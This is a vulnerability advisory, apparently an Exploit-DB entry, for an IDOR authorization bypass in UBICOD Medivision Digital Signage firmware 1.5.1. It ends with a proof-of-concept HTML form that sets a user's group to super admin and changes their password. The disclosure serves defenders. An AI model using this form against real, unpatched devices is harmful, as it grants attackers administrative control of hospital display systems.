UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass

vendor:

Medivision Digital Signage

by:

LiquidWorm

5.5

CVSS

MEDIUM

Authorization Bypass

IDOR

CWE

Product Name: Medivision Digital Signage

Affected Version From: Firmware 1.5.1

Affected Version To: Firmware 1.5.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu

2020

UBICOD Medivision Digital Signage 1.5.1 – Authorization Bypass

The application suffers from a privilege escalation vulnerability. Normal user can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super admin rights.

Mitigation:

The vendor should validate the user's privileges on the server-side and restrict unauthorized access.

Source

Exploit-DB raw data:

# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php


19.06.2020

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<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="157" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ft[grp]" value="3" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>